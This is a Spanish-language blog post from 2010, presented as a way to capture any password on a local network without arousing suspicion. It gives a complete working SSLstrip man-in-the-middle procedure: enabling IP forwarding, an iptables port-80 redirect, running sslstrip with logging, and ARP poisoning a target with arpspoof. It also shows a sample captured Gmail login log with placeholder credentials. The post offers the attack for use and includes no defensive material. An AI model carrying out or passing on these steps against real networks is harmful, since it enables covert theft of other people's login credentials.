25.11.10

SSLSTRIP - Como conseguir cualquier password sin despertar sospechas en 1 lan.


esta tecnica fue presentada en el black hat dc 2009 por moxie marlinspike y desperto bastante revuelo, no era nuevo como ataque pero si la herramienta que lo automatiza y lo hace mucho mas facil.

pero esto es del año pasado! diran... y encima pongo q es mas viejo, como es posible entonces q siga funcionando y nadie lo parchee. muy facil, no es 1 ataque directo al ssl sino que lo q hace es reemplazar todos los links https x http seguido de 1 ataque mitm como el q vimos en este link:


de esta manera el objetivo se comunica con nosotros x http y nosotros con el servidor de destino x https, obteniendo en el proceso todas las passwords en texto plano q despues enviamos encriptadas a su destino final.

con esto salvamos el problema de certificados q tenemos usando ettercap como habiamos visto aca:


haciendo transparente el logueo para el objetivo... peligroso no?...


preparando el sistema

voy a explicarlo para debian/ubuntu, si tienen fedora o derivados cambien x yum. 1ero instalamos python y python-twisted-web:

apt-get install python python-twisted-web

despues descargamos sslstrip, pueden buscar algun link o bajarlo de la pagina del autor:

http://www.thoughtcrime.org/software/sslstrip/

podemos hacer 2 cosas, instalarlo o correrlo desde el directorio de descarga. para instalarlo:

python ./setup.py install

de esta manera queda accesible desde la consola, sino para ejecutarlo:

python sslstrip.py (opciones)


el ataque

lo 1ero es activar el reenvio de paquetes, esto lo hacemos cambiando de 0 a 1 el valor del archivo ip_forward q se encuentra en /proc/sys/net/ipv4/, editandolo o simplemente poniendo en la consola:

echo "1" > /proc/sys/net/ipv4/ip_forward

despues configuramos iptables para q reenvie el trafico a ssltrip, el puerto q queremos redirigir es el 80 hacia el 10000 q es el default del programa. si quieren usar otro puerto x alguna razon este es el momento de elegirlo, despues al lanzarlo se puede cambiar. el comando seria:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (o el q quieran)

ahora corremos sslstrip, si lo instalaron simplemente:

sslstrip -w nombrearchivo

donde "nombrearchivo" es 1 nombre para el archivo donde van a quedar logueados los datos. si cambiamos el puerto usamos el modificador -l:

sslstrip -w nombredearchivo -l numdepuerto

si todo esta bien instalado deberiamos ver esto:

sslstrip 0.6 by Moxie Marlinspike running...

ahora solo falta hacer el envenenamiento arp para q la otra maquina nos mande su trafico, podemos usar exactamente el mismo metodo de la entrada q cite antes y el resultado simplemente seria q el objetivo no tendria el famoso mensaje del certificado ya que el trafico pasaria x el puerto 80, el user/pass saldria en la pantalla inferior como cualquier pass de texto plano y a su vez se puede ver en el log de ssltrip:

2010-11-25 19:48:39,529 SECURE POST Data (www.google.com):
ltmpl=default&ltmplcache=2&continue=http%3A%2F%2Fmail.google.com%2Fmail%
2F%3F&service=mail&rm=false&dsh=3151454474180978812&ltmpl=default&hl=en
&ltmpl=default&scc=1&ss=1&timeStmp=&secTok=&GALX=HirBaqYb1RQ&Email=
ACA_SALE_EL_CORREO&Passwd=ACA_LA_PASSWORD&rmShown=1&signIn
=Sign+in&asts=

pero podemos hacerlo mas facil para no tener q usar ettercap simplemente instalando la suite dsniff:

apt-get install dsniff

dsniff daria como para otra entrada completa pero ahora vamos a usar solamente arpspoof para hacer el envenenamiento. despues de instalar dsniff ponemos en la consola:

arpspoof -i interface (eth0, wlan0, ath0 o la q sea) -t target (maquina objetivo) gateway (el router)

x ej:

arpspoof -i eth0 -t 192.168.1.10 192.168.1.1

en la consola veriamos algo como esto repetirse una y otra vez:

0:5:4e:4d:15:30 0:1e:e5:fc:10:65 0806 42: arp reply 192.168.1.1 is-at 0:5:4e:4d:15:30

0:5:4e:4d:15:30 es nuestra mac, q queremos q el objetivo (0:1e:e5:fc:10:65) crea q es el router, entonces lo q le decimos es q 192.168.1.1 (el router) esta en (is-at) nuestra mac (0:5:4e:4d:15:30)

si hacemos en el objetivo 1 arp -a vamos a ver que nuestra ip y el router tienen la misma mac, el envenenamiento tuvo exito.

sslstrip ya esta capturando trafico ssl y guardandolo en el log, solo hay q abrirlo y ver q hay...



No hay comentarios: